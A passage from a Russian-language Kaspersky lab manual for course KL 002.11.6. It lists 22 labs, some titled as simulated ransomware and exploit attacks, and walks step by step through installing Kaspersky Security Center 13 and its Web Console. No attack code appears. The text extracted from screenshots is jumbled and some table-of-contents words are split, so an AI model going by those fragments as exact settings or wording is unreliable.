KL 002.11.6

# Kaspersky Endpoint Security and Management



Лабораторные работы

## Содержание

Лаб	бораторная работа 1. Как установить Kaspersky Security Center	4
	Задание А: Установите Сервер администрирования и Веб-консоль Kaspersky Se Center Задание В: Пройдите мастер первоначальной настройки Сервера администриров Kaspersky Security Center	curity 4 ания 11
Лаб	бораторная работа 2. Как внедрить Kaspersky Endpoint Security	18
	Задание А: Установите Kaspersky Endpoint Security для Windows на рабочую станц сервер администрирования Kaspersky Security Center Задание В: Создайте автономный пакет установки Kaspersky Endpoint Security Задание С: Установите автономный пакет Kaspersky Endpoint Security для Windov ноутбук Задание D: Изучите результаты развертывания защиты в сети	лю и 18 25 /s на 27 28
Лаб	бораторная работа 3. Как создать структуру управляемых компьютеров	29
	Задание А: Создайте группы для рабочих станций, мобильных компьютеров и сере	еров
	Задание В: Распределите компьютеры по группам с помощью правил	30 31
Лаб Лаб	бораторная работа 4. Как проверить защиту в Windows Subsystem for Linux бораторная работа 5. Как настроить защиту от почтовых угроз	37 39
	Задание А: Отправьте письмо с исполняемым файлом Задание В: Отредактируйте фильтр вложений Задание С: Проверьте, что Защита от почтовых угроз больше не редакти, вложения	39 41 oyem 43
Лаб	бораторная работа 6. Как проверить защиту от веб-угроз	44
	Задание А: Проверьте, что по умолчанию Защита от веб-угроз проверяет https mp	афик лл
	Задание В: Выключите проверку шифрованного трафика для программы PowerShell. Задание С: Проверьте, что защита от веб-угроз не мешает загрузить тестовый в доверенной программе PowerShell по шифрованному протоколу https	45 upyc 47
Лаб	бораторная работа 7. Как проверить защиту сетевых папок от программ-вымогателей	48
	Задание А: Имитируйте заражение вредоносной программой-вымогателем Задание В: Проверьте результаты работы компонента Анализ Поведения на ма Tom-Laptop	48 иине 52
	Задание С: Разрешите шифрование в сетевых папках общего доступа и настро исключения для доверенных сетевых устройств Задание D: Проверьте, что исключения для доверенных сетевых устройств работ корректно	йте 53 ают 55
Лаб	бораторная работа 8. Как проверить Защиту от эксплойтов	56
	Задание А: Имитируйте хакерскую атаку, используя уязвимость в PowerShell и полу доступ к удаленному компьютеру Задание В: Отключите большинство компонентов защиты Задание С: Проверьте защиту от эксплоитов	iume 56 59 60
Лаб	бораторная работа 9. Как проверить Защиту от бесфайловых угроз	62

Лабораторная работа 10. Меры по повышению безопасности рабочей станции для защиты от программ-вымогателей
Задание А: Имитируйте заражение вредоносной программой-вымогателем
Лабораторная работа 11. Как проверить Защиту от сетевых атак
Задание А: Имитируйте хакерскую атаку, используя уязвимость в PowerShell и получите доступ к удаленному компьютеру
Лабораторная работа 12. Как настроить защиту для удаленного доступа к компьютеру
Задание А: Попробуйте управлять Kaspersky Endpoint Security через Удаленный помощник Windows
Задание В: Разрешите Удаленному помощнику Windows взаимодействовать с Kaspersky Endpoint Security
Задание С: Откройте локальный отчет Kaspersky Endpoint Security в сессии Удаленного помощника Windows
Лабораторная работа 13. Как настроить защиту паролем
Задание А: Найдите компьютер с выключенной защитой Задание В: Установите пароль на Kaspersky Endpoint Security
Лабораторная работа 14. Как настроить Контроль программ
Задание А: Создайте категорию для всех веб-браузеров кроме Internet Explorer
Лабораторная работа 15. Как заблокировать запуск неизвестных файлов в сети
Задание А: Создайте категорию программ, запрещающую запуск неизвестных файлов 
Лабораторная работа 16. Как запретить доступ к флешкам114
Задание А: Настройте блокировку доступа к флешкам Задание В: Проверьте блокировку флеш-накопителей
Лабораторная работа 17. Как настроить права доступа к флешкам
Задание А: Запретите писать на флешки всем пользователям
Лабораторная работа 18. Как настроить контроль доступа к веб-ресурсам
Задание А: Создайте правило блокировки ресурсов криптовалют

Лабораторная работа 19. Как настроить Адаптивный Контроль Аномалий	135
Задание А: Настройте блокировку запуска макросов и скриптов в офисных докуме	ентах 135
Задание В: Проверьте, что Адаптивный Контроль Аномалий блокирует з вредоносного макроса	апуск 138
Лабораторная работа 20. Как настроить дэшборд	140
Задание А: Добавьте новые виджеты в дэшборд Задание В: Удалите и переместите виджет	140 144
Лабораторная работа 21. Как настроить инструменты для обслуживания	145
Задание А: Удалите отчеты, которые не используете Задание В: Создайте отчет о зараженных компьютерах за неделю Задание С: Настройте получать по почте самые важные отчеты	145 148 150
Лабораторная работа 22. Как собрать диагностическую информацию	153

### Лабораторная работа 1. Как установить Kaspersky Security Center

Сценарий. Вам нужно защитить менее 100 компьютеров компании ABC с помощью Kaspersky Endpoint Security для бизнеса. Чтобы управлять защитой в такой сети, хватит одного Сервера администрирования и Express-редакции сервера Microsoft SQL. Установите Сервер администрирования Kaspersky Security Center на выделенный компьютер под управлением Windows Server 2016. Microsoft SQL server заблаговременно установлен на виртуальной машине.

Содержание. В этой лабораторной работе:

- 1. Установите Сервер администрирования и Веб-консоль Kaspersky Security Center
- 2. Пройдите мастер первоначальной настройки Сервера администрирования Kaspersky Security Center

#### Задание А: Установите Сервер администрирования и Веб-консоль Kaspersky Security Center

Выполните выборочную установку Сервера администрирования Kaspersky Security Center с настройками по умолчанию. Веб-консоль представляет собой отдельный компонент и имеет собственный дистрибутив; ее установка начинается автоматически после установки KSC Administration Server.

Компьютеры KSC, DC должны быть включены.								
Задание выполняется на компьютер	e KSC.							
	KSC KSC							
1. Запустите программу	kaspersky Kaspersky Security Center 13 – ×							
установки Kaspersky Security Center (расположение уточните у преподавателя) 2. Нажмите Install Kaspersky Security Center 13	Install Kaspersky Security Center 13       Install only Kaspersky Security Center 13 Administration Console         Install Caspersky Security Center 13       Install only Kaspersky Security Center 13 Network Agent							
	Install iOS MDM (Mobile Device Management) Server       Image: Extract installation packages         Install Exchange Mobile Device Server							

3. В окне приветствия нажмите Next Kaspersky Security Center Administration Server Kaspersky Welcome to the Kaspersky Security Center 13 Security Center Administration Server Setup Wizard The Setup Wizard will install Kaspersky Security Center 13 Administration Server on your device. Click Next to continue or click Cancel to exit the Setup Wizard. < Back Next > Cancel 4. В следующем окне убедитесь, Kaspersky Security Center Administration Server что требуемая версия .NET System requirements check Framework установлена и Please check whether your device meets the system requirements of Kaspersky Security нажмите Next Center 13 Administration Server. The required version of .NET Framework is already installed and activated. Click Next to continue or click Cancel to exit the Setup Wizard. < Back Next > Cancel × 5. Примите условия лицензионного Kaspersky Security Center Administration Server соглашения и политику End User License Agreement and Privacy Policy конфиденциальности Please carefully read the License Agreement and Privacy Policy. 6. Нажмите Next Kaspersky Security Center 13 END USER LICENSE AGREEMENT; AND Δ Products and Services PRIVACY POLICY Kaspersky Security Center 13 END USER LICENSE AGREEMENT ("LICENSE AGREEMENT") IMPORTANT LEGAL NOTICE TO ALL USERS. CAREELILLY READ THE I confirm that I have fully read, understand, and accept the terms and conditions of this End User License Agreement. I am aware and agree that my data will be handled and transmitted (including to third ✓ countries) as described in the <u>Privacy Policy</u>. I confirm that I have fully read and understand the Privacy Policy. © 2021 AO Kaspersky Lab < Back Next > Cancel

7.	Выберите тип установки Standart	Kaspersky Security Center Administration Server - 🛛 🗙	
	и нажмите <b>Next</b>	Installation type	
		Select the installation type that best suits your needs.	
		Standard installation allows you to install the default set of components and configure the database. No changes will be made to any settings outside the described scope. The Mobile Device Management feature is unavailable in standard installation mode. Custom installation allows you to select additional components and manage an extended set of application installation settings.	
8.	Оставьте размер сети <b>Fewer</b>	Kaspersky Security Center Administration Server — 🗌 🗙	
	than 100 networked devices и	Network size	
	нажмите Next	Specify the network size	
		Select the approximate number of devices that you intend to manage. This information will be used to configure Kaspersky Security Center 13 properly. You will be able to modify these settings later.	
9.	Выберите Microsoft SQL Server	Kaspersky Security Center Administration Server – 🗆 🗙	
	и нажмите <b>Next</b>	Database server	
		Select the DBMS type.	
		Select the type of DBMS to which you want to connect Administration Server. A database will be created for the selected DBMS during later steps of the application installation.	

10. Нажмите Browse

Connection settings				
Specify the Microsoft SQL	Server settings.			
1) Make sure that the re You can download Mir another supported ve	elevant version of I crosoft SQL Server ersion from the Mig	Microsoft SC 2014 Expre	2L Server is ins ess SP2 (recom <u>ite</u> , Other vers	stalled. nmended) or sions of
Microsoft SQL Server	are available on th	<u>is website</u> .		
<ol><li>Specify the Microsoft</li></ol>	t SQL Server setting	js:		
SQL Server instance na	ame:			Brow
Database name:	KA	V		
Kaspersky Security Center A	Administration Ser	ver		_ [
Microsoft SQL Server				10
Select an SQL Server insta	ance.			
Select the name of the SOL S	Server instance fror	n the list:		
KSC\SQLEXPRESS				
If Administration Ser	rver runs under the	LocalSyste	m account, yo	ou can only :
If Administration Ser local SQL Server (ins has been started).	rver runs under the stalled on the devic	: LocalSyste e where Ka	m account, yo spersky Securi	ou can only : ity Center 1
If Administration Ser local SQL Server (ins has been started).	rver runs under the stalled on the devic	: LocalSyste e where Ka	m account, yo spersky Securi	ou can only : ity Center 1
If Administration Ser local SQL Server (ins has been started).	rver runs under the stalled on the devic	: LocalSyste e where Ka	m account, yo spersky Securi	ou can only s ty Center 1
If Administration Ser local SQL Server (Ins has been started).	rver runs under the stalled on the devic	LocalSyste	m account, yo spersky Securi OK	u can only sty Center 1
If Administration Ser local SQL Server (ins has been started).	rver runs under the stalled on the devic	: LocalSyste e where Ka	m account, yo spersky Securi OK	u can only : ity Center 1
Aspersky Security Center A	rver runs under the stalled on the devic	e LocalSyste e where Ka	m account, yo spersky Securi OK	u can only s ty Center 1 Ca
If Administration Ser local SQL Server (ins has been started).     Security Center A Connection settings Specify the Microsoft SQL	rver runs under the stalled on the devic Administration Ser	e LocalSyste e where Ka	m account, yo spersky Securi OK	u can only s ty Center 1
If Administration Ser local SQL Server (ins has been started).     Security Center A Connection settings Specify the Microsoft SQL	rver runs under the stalled on the devic Administration Ser . Server settings.	• LocalSyste e where Ka	m account, yo spersky Securi OK	u can only s ty Center 1
If Administration Set local SQL Server (ins has been started).      Specify Security Center A Connection settings Specify the Microsoft SQL 1) Make sure that the r	rver runs under the stalled on the devic Administration Ser . Server settings. relevant version of l	LocalSyste e where Ka ver Microsoft Si	m account, yo spersky Securi OK QL Server is in:	ou can only : ity Center 1 Ca
If Administration Ser local SQL Server (ins has been started).     Security Center A Connection settings Specify the Microsoft SQL     1) Make sure that the r You can download Mi another supported v Microsoft SQL Server	Administration Ser Server settings.	Ver Microsoft So 2014 Expr rosoft website.	m account, yo spersky Securi OK QL Server is in: ess SP2 (recon site. Other ver	ou can only sty Center 1 Ca Ca stalled. mmended) o
If Administration Series (inspective) If Administration Series (inspective) Isolar SQL Server (inspective) Association Set (inspective) Specify the Microsoft SQL 1) Make sure that the result of the supported of Microsoft SQL Server 2) Specify the Microsoft	Administration Ser Server settings. Server settings. relevant version of l icrosoft SQL Server rersion from the Mic r are available on the SQL Server	LocalSyste e where Ka ver Microsoft Si · 2014 Expr rosoft web nis website. gs:	m account, yo spersky Securi OK QL Server is in: ess SP2 (recon site. Other ver	stalled.
If Administration Ser local SQL Server (ins has been started).     Server (ins has been started).     Security Center A Connection settings Specify the Microsoft SQL Make sure that the r You can download Mi another supported v Microsoft SQL Server Specify the Microsof SQL Server instance na	Administration Ser Server settings. Server settings. relevant version of licrosoft SQL Server rersion from the Mic r are available on the t SQL Server settin ame: KS	LocalSyste e where Ka ver Microsoft S 2014 Expr rosoft web his website, gs: C\SQLEXPR	m account, yo spersky Securi OK QL Server is in: ess SP2 (recon site, Other ver ESS	stalled. mmended) o Brov
If Administration Ser local SQL Server (ins has been started).     Security Center A Connection settings Specify the Microsoft SQL     I) Make sure that the r You can download Mi another supported v Microsoft SQL Server 2) Specify the Microsoft SQL Server instance na Database name:	Administration Ser Server settings. Server settings. relevant version of licrosoft SQL Server rersion from the Mic r are available on the Administration Server resson from the Mic r are available on the KS KA	LocalSyste e where Ka ver Microsoft Si · 2014 Expr rosoft web nis website. gs: C\SQLEXPR V	m account, yo spersky Securi OK QL Server is int ess SP2 (recon gite, Other ver ESS	stalled. mmended) o Brow
If Administration Ser local SQL Server (ins has been started).     Security Center A Connection settings Specify the Microsoft SQL     1) Make sure that the r You can download Mi another supported v Microsoft SQL Server     2) Specify the Microsoft SQL Server instance na Database name:	Administration Ser Administration Ser Server settings. relevant version of l icrosoft SQL Server version from the Mic r are available on the t SQL Server settin ame: KS	LocalSyste e where Ka ver Microsoft S · 2014 Expr rosoft web his website. gs: C\SQLEXPR V	m account, yo spersky Securi OK QL Server is in: ess SP2 (recon site. Other ver ESS	stalled. mended) o Brow
If Administration Ser local SQL Server (ins has been started).     Specify Security Center A Connection settings Specify the Microsoft SQL     1) Make sure that the r You can download Mi another supported v Microsoft SQL Server     2) Specify the Microsoft SQL Server instance na Database name:	Administration Ser Administration Ser Server settings. Server settings. relevant version of l icrosoft SQL Server rersion from the Mic r are available on the Administration Server resson from the Mic r are available on the t SQL Server settin ame: KS	LocalSyste e where Ka ver Microsoft S 2014 Expr rosoft web is website. gs: C\SQLEXPR V	m account, yo spersky Securi OK QL Server is int ess SP2 (recon site, Other ver ESS	stalled.
Administration Server (ins has been started).     Specify Security Center A     Connection settings     Specify the Microsoft SQL     1) Make sure that the r     You can download M     another supported v     Microsoft SQL Server     2) Specify the Microsoft     SQL Server instance na     Database name:	Administration Ser Administration Ser Server settings. Server settings. relevant version of l icrosoft SQL Server version from the Mic r are available on the t SQL Server settin ame: KS KA	LocalSyste e where Ka ver Microsoft S 2014 Expr rosoft web his website. gs: C\SQLEXPR V	m account, yo spersky Securi OK QL Server is in: ess SP2 (recon site, Other ver	stalled. Brow

11. Выберите сервер KSC\SQLEXPRESS и нажмите OK

12. Продолжите установку Kaspersky Security Center: нажмите Next

13. Выберите Microsoft Windows	Kaspersky Security Center Administration Server	– 🗆 🗙
Authentication mode и нажмите Next	SQL Server Authentication mode	
	Choose the authentication mode.	
	Choose the authentication mode that you want to use for connect Server. If you select SQL Server Authentication, you are prompted and confirm the password.	ion to Microsoft SQL d to enter the account
	Microsoft Windows Authentication mode	
	○ SQL Server Authentication mode	
	Account:	
	Password:	
	Confirm password:	
	– © 2021 AO Kaspersky Lab	
	<pre>&lt; Back Next &gt;</pre>	Cancel
14. Начните установку: нажмите Install	Kaspersky Security Center Administration Server	- 🗆 X
	Ready to install Kaspersky Security Center 13 Adminis	tration Server
	Click Install to start installation. Click Back to review or modify installation settings. Click Cancel to exit the Wizard.	any of your
	© 2021 AO Kaspersky Lab	
		Cancel
15. После установки KSC	Kaspersky Security Center 13 Web Cons	ole X
Administration Server автоматически запустится	Please select a language	
установщик KSC Web Console. Выберите язык мастера	English	~
установки		
	0	K Cancel
16. В окне приветствия нажмите <b>Next</b>	Kaspersky Security Center 13 Web Console	×
	kaspersky Welcome to the Kasper Security Center 13 We Setup Wizard	ersky eb Console
	The Setup Wizard will install Kaspersky S Web Console on your device. Click Next Cancel to exit the Setup Wizard.	Security Center 13 t to continue or click

17. Примите условия лицензионного	Kaspersky Security Center 13 Web Console	×
соглашения и нажмите <b>Next</b>	License Agreement Please carefully read the License Agreement.	
	Please read the End User License Agreement. You must accept the terms and conditions of the EULA to install the application.	
	Kaspersky Security Center 13 Web Console, iOS MDM Server, Microsoft Exchange Mobile Devices Server, Administration Console, Kaspersky Security Center 13 Network Agent for Linux, Kaspersky Security Center 13 Network Agent for Mac KASPERSKY LAB END USER LICENSE AGREEMENT	
	BY CLICKING THE ACCEPT BUTTON IN THE LICENSE AGREEMENT WINDOW OR BY USING THE SOFTWARE YOU CONSENT TO BE BOUND BY THE TERMS AND CONDITIONS OF THIS AGREEMENT. SUCH ACTION IS A SYMBOL OF	
	User License Agreement	
	< Back Next > Cancel	
18. Оставьте папку назначения без	Kaspersky Security Center 13 Web Console	×
изменений	Destination folder	
19. Нажмите <b>Next</b>	Select the destination folder.	
	Install Kaspersky Security Center 13 Web Console to the following folder:	
	C:\Program Files\Kaspersky Lab\Kaspersky Security Center Web Console	
	Browse	
20. Укажите Адрес подключения:	Kaspersky Security Center 13 Web Console	×
127.0.0.1	Kaspersky Security Center 13 Web Console connection settings	
21. Оставьте порт без изменения	Spearty the Kaspersky Security Center 13 Web Console connection settings.	
22. Нажмите lest	Address 127.0.0.1	
	Port 8080 Test	
	Enable logging of Kaspersky Security Center 13 Web Console activities	
23. Убедитесь, что порт 8080	Kaspersky Security Center 13 Web Console	×
доступен по адресу 127.0.0.1	Port 8080 is available on 127.0.0.1.	
24. нажмите <b>ОК</b>	₹.	

OK

25.	Оставьте настройки без изменений	Kaspersky Security Center 13 Web Console X					
26.	Нажмите <b>Next</b>	Account settings Specify the Kaspersky Security Center 13 Web Console account settings.					
		A Node.js account and update service account are required for starting and updating Kaspersky Security Center 13 Web Console. You can use the default accounts or specify custom ones.					
		<ul> <li>Use default accounts</li> <li>Specify custom accounts</li> </ul>					
27.	Выберите параметр Generate	Kaspersky Security Center 13 Web Console X					
28.	неж сегинсате Нажмите Next	Client certificate Select how to specify the certificate.					
		Generate new certificate Make sure the below domain is trusted.					
		Domain KSC					
		O Choose existing certificate					
		CRT certificate file C:\Program Files\Kaspersky Lab\Kaspersky Secur Browse					
		KEY certificate file C:\Program Files\Kaspersky Lab\Kaspersky Secur Browse					
29.	Убедитесь, что в списке доверенных Серверов администрирования указан <b>КSC</b>	Kaspersky Security Center 13 Web Console     ×       Trusted Administration Servers     Image: Console Servers       Specify the settings of trusted Administration Servers.     Image: Console Servers					
30.	Для продолжения установки нажмите <b>Next</b>	You must create a list of trusted Administration Servers to which Kaspersky Security Center 13 Web Console will be allowed to connect. After installation, Kaspersky Security Center 13 Web Console will only connect to the Administration Servers listed below. You can start the Setup Wizard in Upgrade mode to edit the list of Administration Servers after installation.					
		Name Address Port Certificate Add					
		KSC localhost 13299 C:\ProgramData\Ka Delete					
		< Back Next > Cancel					

31. Начните установку: нажмите	Kaspersky Security Center 13 Web Console X			
Install	Ready for Kaspersky Security Center 13 Web Console installation You can install Kaspersky Security Center 13 Web Console.			
	The Setup Wizard will deploy k Install to start installation or c	Kaspersky Security Center 13 Web Console to this device. Click lick Cancel to exit the Setup Wizard.		
		< Back Install Cancel		
32. Закройте мастер установки веб-	Kaspersky Security Center 13 W	/eb Console X		
консоли Kaspersky Security Center. Нажмите <b>Finish</b>	kaspersky	Kaspersky Security Center 13 Web Console has been successfully installed on your device. You can start using Kaspersky Security Center 13 Web Console by simply entering the address in the address bar of your browser. Click Finish to close the Setup Wizard. <u>Start Kaspersky Security Center 13 Web Console in your</u> <u>browser</u>		
		< Back Finish Cancel		
33. Закройте мастер Kaspersky	Kaspersky Security Center Ac	dministration Server — 🗆 🗙		
Security Center Administration Server. Нажмите <b>Finish</b>	Kaspersky Security Center	The Kaspersky Security Center 13 Administration Server Setup Wizard has finished Kaspersky Security Center 13 Administration Server has been successfully installed. Click Finish to close the Setup Wizard.		
		✓ Start Kaspersky Security Center Web Console		
		< Back Finish Cancel		

# Задание В: Пройдите мастер первоначальной настройки Сервера администрирования Kaspersky Security Center

Подключитесь к Серверу администрирования используя веб-консоль Kaspersky Security Center и пройдите мастер первоначальной настройки. Добавьте код активации. Настройте уведомления на адрес *administrator@abc.lab* через сервер 10.28.0.10. Примите соглашение KSN. Загрузите обновления сигнатур. Не запускайте мастер развертывания защиты. Включите авто распространение лицензии.







49.	Нажмите <b>Next</b>	0	Quick S	Start Wizard				
		S	Step 6	The Wizard se	etup may take as much	as 15 minutes.		
						Installing the selected plug-ins		
						Installation completed successfully		
		[	Bac	k Next				
50.	Выберите пакет Kaspersky Endpoint Security for Windows	•	Quick S Step 7	Start Wizard	up may take as much as	15 minutes.		
	с упрощенным шифрованием	I	Down	lload and crea	te installation pack	ages		
51	 Нажмите <b>Next</b>		Grou	i <b>p by</b> : Operating sy	rstem (change grouping	using filter)		
01.				Area to secure	Туре	Name	Version	Operating
			~ ₩	Administration	Distribution package	Kaspersky Network Agent for Windows (English)	12007734	Windows
				Workstations	Distribution package	Kaspersky Endpoint Security for Windows (11.6.0) (English) (Lite encryption)	11.6.0.394	Windows
				Workstations	Distribution package	Kaspersky Endpoint Security for Windows (11.6.0) (English) (Strong encryption)	11.6.0.394	Windows
				Workstations	Distribution package	Kaspersky Endpoint Agent 3.10 (English)	3.10.0.3196	Windows
52.	Примите пользовательское соглашение	Quici Step I	k Start W 8   Th	Vizard ne Wizard setup may 1	take as much as 15 minutes			· ·
53.	Нажмите <b>Next</b>	(KS)	Se	ispersky ecurity Networ	Kaspersky Secu files, web resou components, ar <u>Learn more</u>	(it) Network (KSN) is an online service infrastructure that provides access to the information cress, and software. The use of KSN ensures faster responses to threats, improves the effectiv ad reduces the risk of false positives.	about the reputation eness of protection	on of n
		Kasp	persky	Security Netwo	ork Statement			
		Th • H • F	nis docu (aspersk (aspersk	ment contains KSN S ty Security Center ty Security Center Clo read the Statement fo	itatements for the following oud Console or the Kaspersky Lab produc	Kaspersky Lab products:		
		KA	ASPERSK	Y SECURITY NETWO	PRK (KSN) STATEMENT FOR	KASPERSKY SECURITY CENTER		
		Ka Ali	ispersky I terms u	Security Network Sta used in this Statemen	atement (hereinafter "KSN S t have the same meaning d	tatement") relates to the computer program Kaspersky Security Center 13 (hereinafter "Softv efined in the End User License Agreement (EULA) under the paragraph "Definitions".	vare").	
		Th re: do	nis Stater sponsibi ocument	ment along with the I lities and procedures ts referred to in the SI	End User License Agreemer s relating to transmission an tatement, before accepting	nt for Software, in particular in the Section "Conditions regarding Data Processing" specifies t d processing of the data, indicated in the Statement. Carefully read the terms of the Stateme it.	he conditions, nt, as well as all	
		W th co	hen the e meani onfidenti	End User activates th ng of Article 6 (1) (a) al information, perso	ne using of the KSN, the End to (1) (f) of Regulation (EU) 2 onal data, data protection, c	User is fully responsible for ensuring that the processing of personal data of Data Subjects is 2016/679 (General Data Protection Regulation, "GDPR") if Data Subject is in the European Un r similar thereto.	lawful, particularl ion, or applicable	y, within laws on
		Da Da ht	ata Prote ata recei tps://ww	ection and Processing ved by the Righthold vw.kaspersky.com/Pr	g ler from the End User during roducts-and-Services-Privad	g use of the KSN are handled in accordance with the Rightholder's Privacy Policy published a cy-Policy.	t	
		• 1 • 1	agree to do not a	o use Kaspersky Secu agree to use Kaspersk	<b>irity Network</b> ky Security Network		<u>Open in</u>	new window
		Ва	ack	Next				
51	Bufenute Add key file	O	Quick S	tart Wizard				
54.		S	ten 9	The Wizard se	atun may take as muc	a as 15 minutes		
55.	Нажмите Select кеу file и выберите файл ключа Kaspersky	A	iep 9	cation activat	ion	i as 15 minutes.		
	Security Center	Se	elect o	ption:	9			
	(расположение		Add	er activation code I key file	e			
	уточните у преполавателя)	C	Add	l license key later	r			
	проподаватолиј		Sele	ct key file				

#### 56. Нажмите Next

57. Нажмите Next



#### Search for updates and install them

• Search for required updates

- The Find vulnerabilities and required updates task will be created for Network Agent if there is none.

  Find and install required updates
  - The Find vulnerabilities and required updates task will be created for Network Agent, while the Install required updates and fix vulnerabilities task will be created for Administration Server if there is none. More about the License

#### Windows Server Update Services

- Use the update sources defined in the domain policy
   Each device will download updates from Windows Server Update Services. A Network Agent policy will be created if there is
   none.
- Use Administration Server as a WSUS server
   Administration Server will download updates from Windows Server Update Services and update the managed devices in centralized mode. The Perform Windows Update synchronization task will be created.
   More about the license

59. Beegurre advises of recipients of the ideal activity of the Manda data and the Sama data is a Sama data and Sama data and the Sama	58.	Нажмите <b>Next</b>	Quick Start Wizard			<b>P</b>
59. BBegurre anone SMTP server address to scale and s			Step 11 The Wizard setup may	y take as much as 15 minutes.		
59. Bec_ure a none Starto S			Kaspersky Security Center Ad	Iministration Server		
<ul> <li>Star Administration Server maintenance?</li> <li>Tex Variatization Server maintenance?</li> <li>Tex Variatization Server and all Server and all Server Server and Server S</li></ul>			✓ Task "Download updates to the second s	e Administration Server repository"		
<ul> <li>The Back of Amministance Verw data</li> <li>Name of Amministance Verw data</li> <li>Section of Amministance Verw data</li> <li>S</li></ul>			<ul> <li>Task "Administration Server m</li> </ul>	aintenance"		
59. Beeguvre domes SMTP serve address of recipiest 12 for Window Serve domes 12 for the serve address of recipiest 12 for Window Serve domes 12 for the serve address of recipiest 12 for Window Serve domes 12 for the serve address of recipiest 12 for Window Serve domes 12 for the serve address of recipients 12 for Window Serve domes 12 for the serve address of recipients 12 for Window Serve domes 12 for the serve address of recipients 12 for Window Serve domes 12 for the serve address of recipients 12 for Window Serve domes 12 for the serve address of recipients 12 for Window Serve domes 12 for the serve address of recipients 12 for Window Serve domes 12 for the serve address of recipients 12 for Window Serve domes 12 for the serve address of recipients 12 for Window Serve domes 12 for the serve address of recipients 12 for Window Serve domes 12 for the server address of recipients 12 for Window Serve domes 12 for the server address of recipients 12 for Window Serve 12			<ul> <li>Task "Backup of Administration</li> </ul>	n Server data"		
S9. Beegutre addresses of recipients 60. Beegutre addresses of recipients 61. Beegutre B none SMTP server address 10.28.0.10 62. Haxwwire Next 63. Haxwwire Next 63. Haxwwire Next 64. Haxwwire Next 64. Haxwwire Next 65. Haxwwire Next 65. Haxwwire Next			Kaspersky Security Center Ne	etwork Agent		
<ul> <li>Tel Trid values dubies and resulted updated:</li> <li>Tel Trid values dubies and resulted updated:</li> <li>Tel Trid values dubies and results updated:</li> <li>Tel Trid values dubies:</li> <li>Tel Trid values dubies:</li> <li>Tel Trid values dubies:</li> <li>Tel Trid values dubies:</li> <li>Tel Tel Tel Tel Tel Tel Tel Tel Tel Tel</li></ul>			✓ Policy for Kaspersky Security (	Center 13 Network Agent		
Kaspersky Security tor Windows Serer         • Noty tor Used and potention for transfersity security 11 for Windows Serer         • Text "University of Education Updates         • Text "University of Education Updates         • Fortige for Kappeint Security         • Fortige fort Security </th <th></th> <th></th> <th><ul> <li>Task "Find vulnerabilities and r</li> </ul></th> <th>'equired updates"</th> <th></th> <th></th>			<ul> <li>Task "Find vulnerabilities and r</li> </ul>	'equired updates"		
<ul> <li>C biolo for Debular protocolon for Kappendy Security 11 for Windows Sorer         <ul> <li>Tak: "On-Demand Sear?</li> <li>Tak: "On-Demand Sear?</li> </ul> </li> <li>Stat: Total: update: Update: Security U         <ul> <li>Tota: Total: Update: Update: Security For Windows 111.60</li> <li>Tak: Total: Update: Security For Windows 111.60</li> </ul> </li> <li>Stat: Total: Update: Security For Windows 111.60</li> <li>Tak: Total: Update: Security For Windows 111.60</li> <li>Tak: Total: Update: Security For Windows 111.60</li> <li>Tak: Total: Update: Security For Windows 111.60</li> </ul> <li>Stat: Total: Update: Security For Windows 111.60</li> <li>Tak: Total: Update: Security For Windows 111.60</li> <li>Tota: Total: Update: Security For Windows 111.60</li> <li>Tota: Total: Update: Security For Windows 111.60</li> <li>Step 12 Tote Wind designing take as much as 15 minutes.         <ul> <li>Specify one or more email addresses to receive error notifications</li> <li>Specify one or more email addresses to receive and takes 10 as 010</li> <li>SMTP server post 25</li> <li>SMTP server post 25</li> <li>SMTP server post 25</li> <li>SMTP server post 25</li> <li>Use EM/TP authentication             <ul> <li>Use Comment</li> <li>Use Comment</li> <li>Use Comment</li> <li>Sep 13 The Wand State in mulas.             <ul> <li>Network polit</li> <li>Unaverse post for Windows State is to mulas.</li> <li>Network polit</li> <li>Unaverse post for Windows State is to mulas.</li> <li>Network polit</li> <li>Unaverse post for Windows State is to mulas.</li> <li>Network polit</li> <li>Unaverse post for Windows State is to mulas.</li> <li>Network polit</li></ul></li></ul></li></ul></li>			Kaspersky Security for Windo	ows Server		
<ul> <li>Sta Vo-Demand Sear</li> <li>Tak Vo-Demand Sear</li> <li>Stak Vo-Demand Sear</li> <li>Stak Vo-Demand Sear</li> <li>Stak Vo-Demand Sear</li> <li>Stak Vo-Demand Sear</li> <li>Tak Votati update:</li> </ul>			✓ Policy for Default protection f	or Kaspersky Security 11 for Windows Server		
<ul> <li>Sist 'Un-demand scart' Kappenviky Endpoint Security         <ul> <li>Not Un-demand scart</li> <li>Not Unable of Kappenviky Endpoint Security for Windows (11.6.0)</li> <li>Tak 'Install update:</li> </ul> </li> <li>See Start Water of Control Security for Windows (11.6.0)</li> <li>Tak 'Install update:</li> <li>Concert Security for Windows (11.6.0)</li> <li>Tak 'Install update:</li> <li>Concert Security for Windows (11.6.0)</li> <li>Tak 'Install update:</li> <li>Concert Security for Windows (11.6.0)</li> <li>Security on or more email addresses to receive error notifications             <ul></ul></li></ul>			✓ Task "Database Update"			
59. BBegurre addresses of recipients 60. Haximure Next 63. Haximure Next Kaperaly Endpoint Security Policy for Kaperaly Endpoint Security for Windows (11.0) The Windows (11.0) Server address 10.28.0.10 The Windows (11.0) Server address 10.28.0.10 Server address Serve			Task "On-Demand Scan"			
<ul> <li>A biolo for Kappenby Extended Security for Windows (11.0.0)</li> <li>Tack Indal update:</li> <li>Security for Windows (11.0.0)</li> <li>Tack Indal update:</li> <li>Itex</li> <li< th=""><th></th><th></th><th>Kaspersky Endpoint Security</th><th></th><th></th><th></th></li<></ul>			Kaspersky Endpoint Security			
<ul> <li>59. Bisegurre addresses of recipients server addresses of recipients</li> <li>60. Bisegurre is none SMTP server address 10.28.0.10</li> <li>61. Bisegurre is none SMTP server port 25</li> <li>62. Haxkwurre Next</li> <li>63. Haxkwurre Next</li> </ul>			<ul> <li>Policy for Kaspersky Endpoint</li> </ul>	Security for Windows (11.6.0)		
<ul> <li>59. Baegurre administrator @abc.lab a none Email addresses of recipients</li> <li>60. Baegurre a none SMTP server address 10 receive error notifications</li> <li>61. Baegurre b none SMTP server port 25</li> <li>62. Haxkmurre Next</li> <li>63. Haxkmurre Next</li> </ul>			✓ Task "Install updates"			
<ul> <li>59. BBequitte administator@abc.lab a none Email addresses of recipients</li> <li>60. BBequitte a none SMTP server address 10.28.0.10</li> <li>61. BBequitte a none SMTP server port 25</li> <li>62. Haxmuitte Next</li> <li>63. Haxmuitte Next</li> </ul>						
